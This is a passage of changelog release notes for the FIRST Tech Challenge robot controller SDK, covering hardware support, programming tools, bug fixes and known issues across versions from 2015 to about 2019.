receiving new OpMode list from RC Adds support for REV Color Sensor V3 Adds a manual-refresh DS Camera Stream for remotely viewing RC camera frames. To show the stream on the DS, initialize but do not run a stream-enabled opmode, select the Camera Stream option in the DS menu, and tap the image to refresh. This feature is automatically enabled when using Vuforia or TFOD—no additional RC configuration is required for typical use cases. To hide the stream, select the same menu item again. Note that gamepads are disabled and the selected opmode cannot be started while the stream is open as a safety precaution. To use custom streams, consult the API docs for CameraStreamServer#setSource and CameraStreamSource. Adds many Star Wars sounds to RobotController resources. Added SKYSTONE Sounds Chooser Sample Program. Switches out startup, connect chimes, and error/warning sounds for Star Wars sounds Updates OnBot Java to use a WebSocket for communication with the robot The OnBot Java page no longer has to do a full refresh when a user switches from editing one file to another Known issues: Camera Stream The Vuforia camera stream inherits the issues present in the phone preview (namely ftc_app issue #574). This problem does not affect the TFOD camera stream even though it receives frames from Vuforia. The orientation of the stream frames may not always match the phone preview. For now, these frames may be rotated manually via a custom CameraStreamSource if desired. OnBotJava Browser back button may not always work correctly It's possible for a build to be queued, but not started. The OnBot Java build console will display a warning if this occurs. A user might not realize they are editing a different file if the user inadvertently switches from one file to another since this switch is now seamless. The name of the currently open file is displayed in the browser tab. Version 5.0 (built on 19.06.14) Support for the REV Robotics Control Hub. Adds a Java preview pane to the Blocks editor. Adds a new offline export feature to the Blocks editor. Display wifi channel in Network circle on Driver Station. Adds calibration for Logitech C270 Updates build tooling and target SDK. Compliance with Google's permissions infrastructure (Required after build tooling update). Keep Alives to mitigate the Motorola wifi scanning problem. Telemetry substitute no longer necessary. Improves Vuforia error reporting. Fixes ftctechnh/ftc_app issues 621, 713. Miscellaneous bug fixes and improvements. Version 4.3 (built on 18.10.31) Includes missing TensorFlow-related libraries and files. Version 4.2 (built on 18.10.30) Includes fix to avoid deadlock situation with WatchdogMonitor which could result in USB communication errors. Comm error appeared to require that user disconnect USB cable and restart the Robot Controller app to recover. robotControllerLog.txt would have error messages that included the words "E RobotCore: lynx xmit lock: #### abandoning lock:" Includes fix to correctly list the parent module address for a REV Robotics Expansion Hub in a configuration (.xml) file. Bug in versions 4.0 and 4.1 would incorrect list the address module for a parent REV Robotics device as "1". If the parent module had a higher address value than the daisy-chained module, then this bug would prevent the Robot Controller from communicating with the downstream Expansion Hub. Added requirement for ACCESS_COARSE_LOCATION to allow a Driver Station running Android Oreo to scan for Wi-Fi Direct devices. Added google() repo to build.gradle because aapt2 must be downloaded from the google() repository beginning with version 3.2 of the Android Gradle Plugin. Important Note: Android Studio users will need to be connected to the Internet the first time build the ftc_app project. Internet connectivity is required for the first build so the appropriate files can be downloaded from the Google repository. Users should not need to be connected to the Internet for subsequent builds. This should also fix buid issue where Android Studio would complain that it "Could not find com.android.tools.lint:lint-gradle:26.1.4" (or similar). Added support for REV Spark Mini motor controller as part of the configuration menu for a servo/PWM port on the REV Expansion Hub. Provide examples for playing audio files in an Op Mode. Block Development Tool Changes Includes a fix for a problem with the Velocity blocks that were reported in the FTC Technology forum (Blocks Programming subforum). Change the "Save completed successfully." message to a white color so it will contrast with a green background. Fixed the "Download image" feature so it will work if there are text blocks in the op mode. Introduce support for Google's TensorFlow Lite technology for object detetion for 2018-2019 game. TensorFlow lite can recognize Gold Mineral and Silver Mineral from 2018-2019 game. Example Java and Block op modes are included to show how to determine the relative position of the gold block (left, center, right). Version 4.1 (released on 18.09.24) Changes include: Fix to prevent crash when deprecated configuration annotations are used. Change to allow FTC Robot Controller APK to be auto-updated using FIRST Global Control Hub update scripts. Removed samples for non supported / non legal hardware. Improvements to Telemetry.addData block with "text" socket. Updated Blocks sample op mode list to include Rover Ruckus Vuforia example. Update SDK library version number. Version 4.0 (released on 18.09.12) Changes include: Initial support for UVC compatible cameras If UVC camera has a unique serial number, RC will detect and enumerate by serial number. If UVC camera lacks a unique serial number, RC will only support one camera of that type connected. Calibration settings for a few cameras are included (see TeamCode/src/main/res/xml/teamwebcamcalibrations.xml for details). User can upload calibration files from Program and Manage web interface. UVC cameras seem to draw a fair amount of electrical current from the USB bus. This does not appear to present any problems for the REV Robotics Control Hub. This does seem to create stability problems when using some cameras with an Android phone-based Robot Controller. FTC Tech Team is investigating options to mitigate this issue with the phone-based Robot Controllers. Updated sample Vuforia Navigation and VuMark Op Modes to demonstrate how to use an internal phone-based camera and an external UVC webcam. Support for improved motor control. REV Robotics Expansion Hub firmware 1.8 and greater will support a feed forward mechanism for closed loop motor control. FTC SDK has been modified to support PIDF coefficients (proportional, integral, derivative, and feed forward). FTC Blocks development tool modified to include PIDF programming blocks. Deprecated older PID-related methods and variables. REV's 1.8.x PIDF-related changes provide a more linear and accurate way to control a motor. Wireless Added 5GHz support for wireless channel changing for those devices that support it. Tested with Moto G5 and E4 phones. Also tested with other (currently non-approved) phones such as Samsung Galaxy S8. Improved Expansion Hub firmware update support in Robot Controller app Changes to make the system more robust during the firmware update process (when performed through Robot Controller app). User no longer has to disconnect a downstream daisy-chained Expansion Hub when updating an Expansion Hub's firmware. If user is updating an Expansion Hub's firmware through a USB connection, he/she does not have to disconnect RS485 connection to other Expansion Hubs. The user still must use a USB connection to update an Expansion Hub's firmware. The user cannot update the Expansion Hub firmware for a downstream device that is daisy chained through an RS485 connection. If an Expansion Hub accidentally gets "bricked" the Robot Controller app is now more likely to recognize the Hub when it scans the USB bus. Robot Controller app should be able to detect an Expansion Hub, even if it accidentally was bricked in a previous update attempt. Robot Controller app should be able to install the firmware onto the Hub, even if if accidentally was bricked in a previous update attempt. Resiliency FTC software can detect and enable an FTDI reset feature that is available with REV Robotics v1.8 Expansion Hub firmware and greater. When enabled, the Expansion Hub can detect if it hasn't communicated with the Robot Controller over the FTDI (USB) connection. If the Hub hasn't heard from the Robot Controller in a while, it will reset the FTDI connection. This action helps system recover from some ESD-induced disruptions. Various fixes to improve reliability of FTC software. Blocks Fixed errors with string and list indices in blocks export to java. Support for USB connected UVC webcams. Refactored optimized Blocks Vuforia code to support Rover Ruckus image targets. Added programming blocks to support PIDF (proportional, integral, derivative and feed forward) motor control. Added formatting options (under Telemetry and Miscellaneous categories) so user can set how many decimal places to display a numerical value. Support to play audio files (which are uploaded through Blocks web interface) on Driver Station in addition to the Robot Controller. Fixed bug with Download Image of Blocks feature. Support for REV Robotics Blinkin LED Controller. Support for REV Robotics 2m Distance Sensor. Added support for a REV Touch Sensor (no longer have to configure as a generic digital device). Added blocks for DcMotorEx methods. These are enhanced methods that you can use when supported by the motor controller hardware. The REV Robotics Expansion Hub supports these enhanced methods. Enhanced methods include methods to get/set motor velocity (in encoder pulses per second), get/set PIDF coefficients, etc.. Modest Improvements in Logging Decrease frequency of battery checker voltage statements. Removed non-FTC related log statements (wherever possible). Introduced a "Match Logging" feature. Under "Settings" a user can enable/disable this feature (it's disabled by default). If enabled, user provides a "Match Number" through the Driver Station user interface (top of the screen). The Match Number is used to create a log file specifically with log statements from that particular Op Mode run. Match log files are stored in /sdcard/FIRST/matlogs on the Robot Controller. Once an op mode run is complete, the Match Number is cleared. This is a convenient way to create a separate match log with statements only related to a specific op mode run. New Devices Support for REV Robotics Blinkin LED Controller. Support for REV Robotics 2m Distance Sensor. Added configuration option for REV 20:1 HD Hex Motor. Added support for a REV Touch Sensor (no longer have to configure as a generic digital device). Miscellaneous Fixed some errors in the definitions for acceleration and velocity in our javadoc documentation. Added ability to play audio files on Driver Station When user is configuring an Expansion Hub, the LED on the Expansion Hub will change blink pattern (purple-cyan) to indicate which Hub is currently being configured. Renamed I2cSensorType to I2cDeviceType. Added an external sample Op Mode that demonstrates localization using 2018-2019 (Rover Ruckus presented by QualComm) Vuforia targets. Added an external sample Op Mode that demonstrates how to use the REV Robotics 2m Laser Distance Sensor. Added an external sample Op Mode that demonstrates how to use the REV Robotics Blinkin LED Controller. Re-categorized external Java sample Op Modes to "TeleOp" instead of "Autonomous". Known issues: Initial support for UVC compatible cameras UVC cameras seem to draw significant amount of current from the USB bus. This does not appear to present any problems for the REV Robotics Control Hub. This does seem to create stability problems when using some cameras with an Android phone-based Robot Controller. FTC Tech Team is investigating options to mitigate this issue with the phone-based Robot Controllers. There might be a possible deadlock which causes the RC to become unresponsive when using a UVC webcam with a Nougat Android Robot Controller. Wireless When user selects a wireless channel, this channel does not necessarily persist if the phone is power cycled. Tech Team is hoping to eventually address this issue in a future release. Issue has been present since apps were introduced (i.e., it is not new with the v4.0 release). Wireless channel is not currently displayed for WiFi Direct connections. Miscellaneous The blink indication feature that shows which Expansion Hub is currently being configured does not work for a newly created configuration file. User has to first save a newly created configuration file and then close and re-edit the file in order for blink indicator to work. Version 3.6 (built on 17.12.18) Changes include: Blocks Changes Uses updated Google Blockly software to allow users to edit their op modes on Apple iOS devices (including iPad and iPhone). Improvement in Blocks tool to handle corrupt op mode files. Autonomous op modes should no longer get switched back to tele-op after re-opening them to be edited. The system can now detect type mismatches during runtime and alert the user with a message on the Driver Station. Updated javadoc documentation for setPower() method to reflect correct range of values (-1 to +1). Modified VuforiaLocalizerImpl to allow for user rendering of frames Added a user-overrideable onRenderFrame() method which gets called by the class's renderFrame() method. Version 3.5 (built on 17.10.30) Changes with version 3.5 include: Introduced a fix to prevent random op mode stops, which can occur after the Robot Controller app has been paused and then resumed (for example, when a user temporarily turns off the display of the Robot Controller phone, and then turns the screen back on). Introduced a fix to prevent random op mode stops, which were previously caused by random peer disconnect events on the Driver Station. Fixes issue where log files would be closed on pause of the RC or DS, but not re-opened upon resume. Fixes issue with battery handler (voltage) start/stop race. Fixes issue where Android Studio generated op modes would disappear from available list in certain situations. Fixes problem where OnBot Java would not build on REV Robotics Control Hub. Fixes problem where OnBot Java would not build if the date and time on the Robot Controller device was "rewound" (set to an earlier date/time). Improved error message on OnBot Java that occurs when renaming a file fails. Removed unneeded resources from android.jar binaries used by OnBot Java to reduce final size of Robot Controller app. Added MR_ANALOG_TOUCH_SENSOR block to Blocks Programming Tool. Version 3.4 (built on 17.09.06) Changes with version 3.4 include: Added telemetry.update() statement for BlankLinearOpMode template. Renamed sample Block op modes to be more consistent with Java samples. Added some additional sample Block op modes. Reworded OnBot Java readme slightly. Version 3.3 (built on 17.09.04) This version of the software includes improves for the FTC Blocks Programming Tool and the OnBot Java Programming Tool. Changes with verion 3.3 include: Android Studio ftc_app project has been updated to use Gradle Plugin 2.3.3. Android Studio ftc_app project is already using gradle 3.5 distribution. Robot Controller log has been renamed to /sdcard/RobotControllerLog.txt (note that this change was actually introduced w/ v3.2). Improvements in I2C reliability. Optimized I2C read for REV Expansion Hub, with v1.7 firmware or greater. Updated all external/samples (available through OnBot and in Android project folder). Vuforia Added support for VuMarks that will be used for the 2017-2018 season game. Blocks Update to latest Google Blockly release. Sample op modes can be selected as a template when creating new op mode. Fixed bug where the blocks would disappear temporarily when mouse button is held down. Added blocks for Range.clip and Range.scale. User can now disable/enable Block op modes. Fix to prevent occasional Blocks deadlock. OnBot Java Significant improvements with autocomplete function for OnBot Java editor. Sample op modes can be selected as a template when creating new op mode. Fixes and changes to complete hardware setup feature. Updated (and more useful) onBot welcome message. Known issues: Android Studio After updating to the new v3.3 Android Studio project folder, if you get error messages indicating "InvalidVirtualFileAccessException" then you might need to do a File->Invalidate Caches / Restart to clear the error. OnBot Java Sometimes when you push the build button to build all op modes, the RC returns an error message that the build failed. If you press the build button a second time, the build typically suceeds. Version 3.2 (built on 17.08.02) This version of the software introduces the "OnBot Java" Development Tool. Similar to the FTC Blocks Development Tool, the FTC OnBot Java Development Tool allows a user to create, edit and build op modes dynamically using only a Javascript-enabled web browser. The OnBot Java Development Tool is an integrated development environment (IDE) that is served up by the Robot Controller. Op modes are created and edited using a Javascript-enabled browser (Google Chromse is recommended). Op modes are saved on the Robot Controller Android device directly. The OnBot Java Development Tool provides a Java programming environment that does NOT need Android Studio. Changes with version 3.2 include: Enhanced web-based development tools Introduction of OnBot Java Development Tool. Web-based programming and management features are "always on" (user no longer needs to put Robot Controller into programming mode). Web-based management interface (where user can change Robot Controller name and also easily download Robot Controller log file). OnBot Java, Blocks and Management features available from web based interface. Blocks Programming Development Tool: Changed "LynxI2cColorRangeSensor" block to "REV Color/range sensor" block. Fixed tooltip for ColorSensor.isLightOn block. Added blocks for ColorSensor.getNormalizedColors and LynxI2cColorRangeSensor.getNormalizedColors. Added example op modes for digital touch sensor and REV Robotics Color Distance sensor. User selectable color themes. Includes many minor enhancements and fixes (too numerous to list). Known issues: Auto complete function is incomplete and does not support the following (for now): Access via this keyword Access via super keyword Members of the super cloass, not overridden by the class Any methods provided in the current class Inner classes Can't handle casted objects Any objects coming from an parenthetically enclosed expression Version 3.10 (built on 17.05.09) This version of the software provides support for the REV Robotics Expansion Hub. This version also includes improvements in the USB communication layer in an effort to enhance system resiliency. If you were using a 2.x version of the software previously, updating to version 3.1 requires that you also update your Driver Station software in addition to updating the Robot Controller software. Also note that in version 3.10 software, the setMaxSpeed and getMaxSpeed methods are no longer available (not deprecated, they have been removed from the SDK). Also note that the the new 3.x software incorporates motor profiles that a user can select as he/she configures the robot. Changes include: Blocks changes Added VuforiaTrackableDefaultListener.getPose and Vuforia.trackPose blocks. Added optimized blocks support for Vuforia extended tracking. Added atan2 block to the math category. Added useCompetitionFieldTargetLocations parameter to Vuforia.initialize block. If set to false, the target locations are placed at (0,0,0) with target orientation as specified in https://github.com/gearsincorg/FTCVuforiaDemo/blob/master/Robot_Navigation.java tutorial op mode. Incorporates additional improvements to USB comm layer to improve system resiliency (to recover from a greater number of communication disruptions). Additional Notes Regarding Version 3.00 (built on 17.04.13) In addition to the release changes listed below (see section labeled "Version 3.00 (built on 17.04.013)"), version 3.00 has the following important changes: Version 3.00 software uses a new version of the FTC Robocol (robot protocol). If you upgrade to v3.0 on the Robot Controller and/or Android Studio side, you must also upgrade the Driver Station software to match the new Robocol. Version 3.00 software removes the setMaxSpeed and getMaxSpeed methods from the DcMotor class. If you have an op mode that formerly used these methods, you will need to remove the references/calls to these methods. Instead, v3.0 provides the max speed information through the use of motor profiles that are selected by the user during robot configuration. Version 3.00 software currently does not have a mechanism to disable extra i2c sensors. We hope to re-introduce this function with a release in the near future. Version 3.00 (built on 17.04.13) *** Use this version of the software at YOUR OWN RISK!!! *** This software is being released as an "alpha" version. Use this version at your own risk! This pre-release software contains SIGNIFICANT changes, including changes to the Wi-Fi Direct pairing mechanism, rewrites of the I2C sensor classes, changes to the USB/FTDI layer, and the introduction of support for the REV Robotics Expansion Hub and the REV Robotics color-range-light sensor. These changes were implemented to improve the reliability and resiliency of the FTC control system. Please note, however, that version 3.00 is considered "alpha" code. This code is being released so that the FIRST community will have an opportunity to test the new REV Expansion Hub electronics module when it becomes available in May. The developers do not recommend using this code for critical applications (i.e., competition use). *** Use this version of the software at YOUR OWN RISK!!! *** Changes include: Major rework of sensor-related infrastructure. Includes rewriting sensor classes to implement synchronous I2C communication. Fix to reset Autonomous timer back to 30 seconds. Implementation of specific motor profiles for approved 12V motors (includes Tetrix, AndyMark, Matrix and REV models). Modest improvements to enhance Wi-Fi P2P pairing. Fixes telemetry log addition race. Publishes all the sources (not just a select few). Includes Block programming improvements Addition of optimized Vuforia blocks. Auto scrollbar to projects and sounds pages. Fixed blocks paste bug. Blocks execute after while-opModeIsActive loop (to allow for cleanup before exiting op mode). Added gyro integratedZValue block. Fixes bug with projects page for Firefox browser. Added IsSpeaking block to AndroidTextToSpeech. Implements support for the REV Robotics Expansion Hub Implements support for integral REV IMU (physically installed on I2C bus 0, uses same Bosch BNO055 9 axis absolute orientation sensor as Adafruit 9DOF abs orientation sensor). - Implements support for REV color/range/light sensor. Provides support to update Expansion Hub firmware through FTC SDK. Detects REV firmware version and records in log file. Includes support for REV Control Hub (note that the REV Control Hub is not yet approved for FTC use). Implements FTC Blocks programming support for REV Expansion Hub and sensor hardware. Detects and alerts when I2C device disconnect. Version 2.62 (built on 17.01.07) Added null pointer check before calling modeToByte() in finishModeSwitchIfNecessary method for ModernRoboticsUsbDcMotorController class. Changes to enhance Modern Robotics USB protocol robustness. Version 2.61 (released on 16.12.19) Blocks Programming mode changes: Fix to correct issue when an exception was thrown because an OpticalDistanceSensor object appears twice in the hardware map (the second time as a LightSensor). Version 2.6 (released on 16.12.16) Fixes for Gyro class: Improve (decrease) sensor refresh latency. fix isCalibrating issues. Blocks Programming mode changes: Blocks now ignores a device in the configuration xml if the name is empty. Other devices work in configuration work fine. Version 2.5 (internal release on released on 16.12.13) Blocks Programming mode changes: Added blocks support for AdafruitBNO055IMU. Added Download Op Mode button to FtcBocks.html. Added support for copying blocks in one OpMode and pasting them in an other OpMode. The clipboard content is stored on the phone, so the programming mode server must be running. Modified Utilities section of the toolbox. In Programming Mode, display information about the active connections. Fixed paste location when workspace has been scrolled. Added blocks support for the android Accelerometer. Fixed issue where Blocks Upload Op Mode truncated name at first dot. Added blocks support for Android SoundPool. Added type safety to blocks for Acceleration. Added type safety to blocks for AdafruitBNO055IMU.Parameters. Added type safety to blocks for AnalogInput. Added type safety to blocks for AngularVelocity. Added type safety to blocks for Color. Added type safety to blocks for ColorSensor. Added type safety to blocks for CompassSensor. Added type safety to blocks for CRServo. Added type safety to blocks for DigitalChannel. Added type safety to blocks for ElapsedTime. Added type safety to blocks for Gamepad. Added type safety to blocks for GyroSensor. Added type safety to blocks for IrSeekerSensor. Added type safety to blocks for LED. Added type safety to blocks for LightSensor. Added type safety to blocks for LinearOpMode. Added type safety to blocks for MagneticFlux. Added type safety to blocks for MatrixF. Added type safety to blocks for MrI2cCompassSensor. Added type safety to blocks for MrI2cRangeSensor. Added type safety to blocks for OpticalDistanceSensor. Added type safety to blocks for Orientation. Added type safety to blocks for Position. Added type safety to blocks for Quaternion. Added type safety to blocks for Servo. Added type safety to blocks for ServoController. Added type safety to blocks for Telemetry. Added type safety to blocks for Temperature. Added type safety to blocks for TouchSensor. Added type safety to blocks for UltrasonicSensor. Added type safety to blocks for VectorF. Added type safety to blocks for Velocity. Added type safety to blocks for VoltageSensor. Added type safety to blocks for VuforiaLocalizer.Parameters. Added type safety to blocks for VuforiaTrackable. Added type safety to blocks for VuforiaTrackables. Added type safety to blocks for enums in AdafruitBNO055IMU.Parameters. Added type safety to blocks for AndroidAccelerometer, AndroidGyroscope, AndroidOrientation, and AndroidTextToSpeech. Version 2.4 (released on 16.11.13) Fix to avoid crashing for nonexistent resources. Blocks Programming mode changes: Added blocks to support OpenGLMatrix, MatrixF, and VectorF. Added blocks to support AngleUnit, AxesOrder, AxesReference, CameraDirection, CameraMonitorFeedback, DistanceUnit, and TempUnit. Added blocks to support Acceleration. Added blocks to support LinearOpMode.getRuntime. Added blocks to support MagneticFlux and Position. Fixed typos. Made blocks for ElapsedTime more consistent with other objects. Added blocks to support Quaternion, Velocity, Orientation, AngularVelocity. Added blocks to support VuforiaTrackables, VuforiaTrackable, VuforiaLocalizer, VuforiaTrackableDefaultListener. Fixed a few blocks. Added type checking to new blocks. Updated to latest blockly. Added default variable blocks to navigation and matrix blocks. Fixed toolbox entry for openGLMatrix_rotation_withAxesArgs. When user downloads Blocks-generated op mode, only the .blk file is downloaded. When user uploads Blocks-generated op mode (.blk file), Javascript code is auto generated. Added DbgLog support. Added logging when a blocks file is read/written. Fixed bug to properly render blocks even if missing devices from configuration file. Added support for additional characters (not just alphanumeric) for the block file names (for download and upload). Added support for OpMode flavor (“Autonomous” or “TeleOp”) and group. Changes to Samples to prevent tutorial issues. Incorporated suggested changes from public pull 216 (“Replace .. paths”). Remove Servo Glitches when robot stopped. if user hits “Cancels” when editing a configuration file, clears the unsaved changes and reverts to original unmodified configuration. Added log info to help diagnose why the Robot Controller app was terminated (for example, by watch dog function). Added ability to transfer log from the controller. Fixed inconsistency for AngularVelocity Limit unbounded growth of data for telemetry. If user does not call telemetry.update() for LinearOpMode in a timely manner, data added for telemetry might get lost if size limit is exceeded. Version 2.35 (released on 16.10.06) Blockly programming mode - Removed unnecesary idle() call from blocks for new project. Version 2.30 (released on 16.10.05) Blockly programming mode: Mechanism added to save Blockly op modes from Programming Mode Server onto local device To avoid clutter, blocks are displayed in categorized folders Added support for DigitalChannel Added support for ModernRoboticsI2cCompassSensor Added support for ModernRoboticsI2cRangeSensor Added support for VoltageSensor Added support for AnalogInput Added support for AnalogOutput Fix for CompassSensor setMode block Vuforia Fix deadlock / make camera data available while Vuforia is running. Update to Vuforia 6.0.117 (recommended by Vuforia and Google to close security loophole). Fix for autonomous 30 second timer bug (where timer was in effect, even though it appeared to have timed out). opModeIsActive changes to allow cleanup after op mode is stopped (with enforced 2 second safety timeout). Fix to avoid reading i2c twice. Updated sample Op Modes. Improved logging and fixed intermittent freezing. Added digital I/O sample. Cleaned up device names in sample op modes to be consistent with Pushbot guide. Fix to allow use of IrSeekerSensorV3. Version 2.20 (released on 16.09.08) Support for Modern Robotics Compass Sensor. Support for Modern Robotics Range Sensor. Revise device names for Pushbot templates to match the names used in Pushbot guide. Fixed bug so that IrSeekerSensorV3 device is accessible as IrSeekerSensor in hardwareMap. Modified computer vision code to require an individual Vuforia license (per legal requirement from PTC). Minor fixes. Blockly enhancements: Support for Voltage Sensor. Support for Analog Input. Support for Analog Output. Support for Light Sensor. Support for Servo Controller. Version 2.10 (released on 16.09.03) Support for Adafruit IMU. Improvements to ModernRoboticsI2cGyro class Block on reset of z axis. isCalibrating() returns true while gyro is calibration. Updated sample gyro program. Blockly enhancements support for android.graphics.Color. added support for ElapsedTime. improved look and legibility of blocks. support for compass sensor. support for ultrasonic sensor. support for IrSeeker. support for LED. support for color sensor. support for CRServo prompt user to configure robot before using programming mode. Provides ability to disable audio cues. various bug fixes and improvements. Version 2.00 (released on 16.08.19) This is the new release for the upcoming 2016-2017 FIRST Tech Challenge Season. Channel change is enabled in the FTC Robot Controller app for Moto G 2nd and 3rd Gen phones. Users can now use annotations to register/disable their Op Modes. Changes in the Android SDK, JDK and build tool requirements (minsdk=19, java 1.7, build tools 23.0.3). Standardized units in analog input. Cleaned up code for existing analog sensor classes. setChannelMode and getChannelMode were REMOVED from the DcMotorController class. This is important - we no longer set the motor modes through the motor controller. setMode and getMode were added to the DcMotor class. ContinuousRotationServo class has been added to the FTC SDK. Range.clip() method has been overloaded so it can support this operation for int, short and byte integers. Some changes have been made (new methods added) on how a user can access items from the hardware map. Users can now set the zero power behavior for a DC motor so that the motor will brake or float when power is zero. Prototype Blockly Programming Mode has been added to FTC Robot Controller. Users can place the Robot Controller into this mode, and then use a device (such as a laptop) that has a Javascript enabled browser to write Blockly-based Op Modes directly onto the Robot Controller. Users can now configure the robot remotely through the FTC Driver Station app. Android Studio project supports Android Studio 2.1.x and compile SDK Version 23 (Marshmallow). Vuforia Computer Vision SDK integrated into FTC SDK. Users can use sample vision targets to get localization information on a standard FTC field. Project structure has been reorganized so that there is now a TeamCode package that users can use to place their local/custom Op Modes into this package. Inspection function has been integrated into the FTC Robot Controller and Driver Station Apps (Thanks Team HazMat… 9277 & 10650!). Audio cues have been incorporated into FTC SDK. Swap mechanism added to FTC Robot Controller configuration activity. For example, if you have two motor controllers on a robot, and you misidentified them in your configuration file, you can use the Swap button to swap the devices within the configuration file (so you do not have to manually re-enter in the configuration info for the two devices). Fix mechanism added to all user to replace an electronic module easily. For example, suppose a servo controller dies on your robot. You replace the broken module with a new module, which has a different serial number from the original servo controller. You can use the Fix button to automatically reconfigure your configuration file to use the serial number of the new module. Improvements made to fix resiliency and responsiveness of the system. For LinearOpMode the user now must for a telemetry.update() to update the telemetry data on the driver station. This update() mechanism ensures that the driver station gets the updated data properly and at the same time. The Auto Configure function of the Robot Controller is now template based. If there is a commonly used robot configuration, a template can be created so that the Auto Configure mechanism can be used to quickly configure a robot of this type. The logic to detect a runaway op mode (both in the LinearOpMode and OpMode types) and to abort the run, then auto recover has been improved/implemented. Fix has been incorporated so that Logitech F310 gamepad mappings will be correct for Marshmallow users. Release 16.07.08 For the ftc_app project, the gradle files have been modified to support Android Studio 2.1.x. Release 16.03.30 For the MIT App Inventor, the design blocks have new icons that better represent the function of each design component. Some changes were made to the shutdown logic to ensure the robust shutdown of some of our USB services. A change was made to LinearOpMode so as to allow a given instance to be executed more than once, which is required for the App Inventor. Javadoc improved/updated. Release 16.03.09 Changes made to make the FTC SDK synchronous (significant change!) waitOneFullHardwareCycle() and waitForNextHardwareCycle() are no longer needed and have been deprecated. runOpMode() (for a LinearOpMode) is now decoupled from the system's hardware read/write thread. loop() (for an OpMode) is now decoupled from the system's hardware read/write thread. Methods are synchronous. For example, if you call setMode(DcMotorController.RunMode.RESET_ENCODERS) for a motor, the encoder is guaranteed to be reset when the method call is complete. For legacy module (NXT compatible), user no longer has to toggle between read and write modes when reading from or writing to a legacy device. Changes made to enhance reliability/robustness during ESD event. Changes made to make code thread safe. Debug keystore added so that user-generated robot controller APKs will all use the same signed key (to avoid conflicts if a team has multiple developer laptops for example). Firmware version information for Modern Robotics modules are now logged. Changes made to improve USB comm reliability and robustness. Added support for voltage indicator for legacy (NXT-compatible) motor controllers. Changes made to provide auto stop capabilities for op modes. A LinearOpMode class will stop when the statements in runOpMode() are complete. User does not have to push the stop button on the driver station. If an op mode is stopped by the driver station, but there is a run away/uninterruptible thread persisting, the app will log an error message then force itself to crash to stop the runaway thread. Driver Station UI modified to display lowest measured voltage below current voltage (12V battery). Driver Station UI modified to have color background for current voltage (green=good, yellow=caution, red=danger, extremely low voltage). javadoc improved (edits and additional classes). Added app build time to About activity for driver station and robot controller apps. Display local IP addresses on Driver Station About activity. Added I2cDeviceSynchImpl. Added I2cDeviceSync interface. Added seconds() and milliseconds() to ElapsedTime for clarity. Added getCallbackCount() to I2cDevice. Added missing clearI2cPortActionFlag. Added code to create log messages while waiting for LinearOpMode shutdown. Fix so Wifi Direct Config activity will no longer launch multiple times. Added the ability to specify an alternate i2c address in software for the Modern Robotics gyro. Release 16.02.09 Improved battery checker feature so that voltage values get refreshed regularly (every 250 msec) on Driver Station (DS) user interface. Improved software so that Robot Controller (RC) is much more resilient and “self-healing” to USB disconnects: If user attempts to start/restart RC with one or more module missing, it will display a warning but still start up. When running an op mode, if one or more modules gets disconnected, the RC & DS will display warnings,and robot will keep on working in spite of the missing module(s). If a disconnected module gets physically reconnected the RC will auto detect the module and the user will regain control of the recently connected module. Warning messages are more helpful (identifies the type of module that’s missing plus its USB serial number). Code changes to fix the null gamepad reference when users try to reference the gamepads in the init() portion of their op mode. NXT light sensor output is now properly scaled. Note that teams might have to readjust their light threshold values in their op modes. On DS user interface, gamepad icon for a driver will disappear if the matching gamepad is disconnected or if that gamepad gets designated as a different driver. Robot Protocol (ROBOCOL) version number info is displayed in About screen on RC and DS apps. Incorporated a display filter on pairing screen to filter out devices that don’t use the “-“ format. This filter can be turned off to show all WiFi Direct devices. Updated text in License file. Fixed formatting error in OpticalDistanceSensor.toString(). Fixed issue on with a blank (“”) device name that would disrupt WiFi Direct Pairing. Made a change so that the WiFi info and battery info can be displayed more quickly on the DS upon connecting to RC. Improved javadoc generation. Modified code to make it easier to support language localization in the future. Release 16.01.04 Updated compileSdkVersion for apps Prevent Wifi from entering power saving mode removed unused import from driver station Corrrected "Dead zone" joystick code. LED.getDeviceName and .getConnectionInfo() return null apps check for ROBOCOL_VERSION mismatch Fix for Telemetry also has off-by-one errors in its data string sizing / short size limitations error User telemetry output is sorted. added formatting variants to DbgLog and RobotLog APIs code modified to allow for a long list of op mode names. changes to improve thread safety of RobocolDatagramSocket Fix for "missing hardware leaves robot controller disconnected from driver station" error fix for "fast tapping of Init/Start causes problems" (toast is now only instantiated on UI thread). added some log statements for thread life cycle. moved gamepad reset logic inside of initActiveOpMode() for robustness changes made to mitigate risk of race conditions on public methods. changes to try and flag when WiFi Direct name contains non-printable characters. fix to correct race condition between .run() and .close() in ReadWriteRunnableStandard. updated FTDI driver made ReadWriteRunnableStanard interface public. fixed off-by-one errors in Command constructor moved specific hardware implmentations into their own package. moved specific gamepad implemnatations to the hardware library. changed LICENSE file to new BSD version. fixed race condition when shutting down Modern Robotics USB devices. methods in the ColorSensor classes have been synchronized. corrected isBusy() status to reflect end of motion. corrected "back" button keycode. the notSupported() method of the GyroSensor class was changed to protected (it should not be public). Release 15.11.04.001 Added Support for Modern Robotics Gyro. The GyroSensor class now supports the MR Gyro Sensor. Users can access heading data (about Z axis) Users can also access raw gyro data (X, Y, & Z axes). Example MRGyroTest.java op mode included. Improved error messages More descriptive error messages for exceptions in user code. Updated DcMotor API Enable read mode on new address in setI2cAddress Fix so that driver station app resets the gamepads when switching op modes. USB-related code changes to make USB comm more responsive and to display more explicit error messages. Fix so that USB will recover properly if the USB bus returns garbage data. Fix USB initializtion race condition. Better error reporting during FTDI open. More explicit messages during USB failures. Fixed bug so that USB device is closed if event loop teardown method was not called. Fixed timer UI issue Fixed duplicate name UI bug (Legacy Module configuration). Fixed race condition in EventLoopManager. Fix to keep references stable when updating gamepad. For legacy Matrix motor/servo controllers removed necessity of appending "Motor" and "Servo" to controller names. Updated HT color sensor driver to use constants from ModernRoboticsUsbLegacyModule class. Updated MR color sensor driver to use constants from ModernRoboticsUsbDeviceInterfaceModule class. Correctly handle I2C Address change in all color sensors Updated/cleaned up op modes. Updated comments in LinearI2cAddressChange.java example op mode. Replaced the calls to "setChannelMode" with "setMode" (to match the new of the DcMotor method). Removed K9AutoTime.java op mode. Added MRGyroTest.java op mode (demonstrates how to use MR Gyro Sensor). Added MRRGBExample.java op mode (demonstrates how to use MR Color Sensor). Added HTRGBExample.java op mode (demonstrates how to use HT legacy color sensor). Added MatrixControllerDemo.java (demonstrates how to use legacy Matrix controller). Updated javadoc documentation. Updated release .apk files for Robot Controller and Driver Station apps. Release 15.10.06.002 Added support for Legacy Matrix 9.6V motor/servo controller. Cleaned up build.gradle file. Minor UI and bug fixes for driver station and robot controller apps. Throws error if 